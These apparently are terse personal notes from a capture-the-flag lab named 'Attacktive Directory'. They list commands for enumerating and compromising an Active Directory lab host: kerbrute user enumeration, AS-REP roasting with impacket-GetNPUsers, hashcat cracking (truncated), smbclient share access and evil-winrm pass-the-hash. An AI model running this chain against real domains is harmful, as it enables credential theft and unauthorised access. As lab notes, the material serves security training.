Attacktive Directory

Enumeration

enum4linux 10.10.176.12

scanning port 139/445

kerbrute

 ./kerbrute_linux_amd64 userenum -d spookysec.local --dc 10.10.176.12  userlist.txt 

impacket-GetNPUsers

impacket-GetNPUsers spookysec.local/svc-admin -dc-ip 10.10.176.12

hashcat

hashcat -m 18

smbclient

smbclient -L //10.10.176.12  -U "svc-admin"

smb://ip/backup

[e-mail]:backup2517860

evil-winrm -u <user> -H "hash" -i ip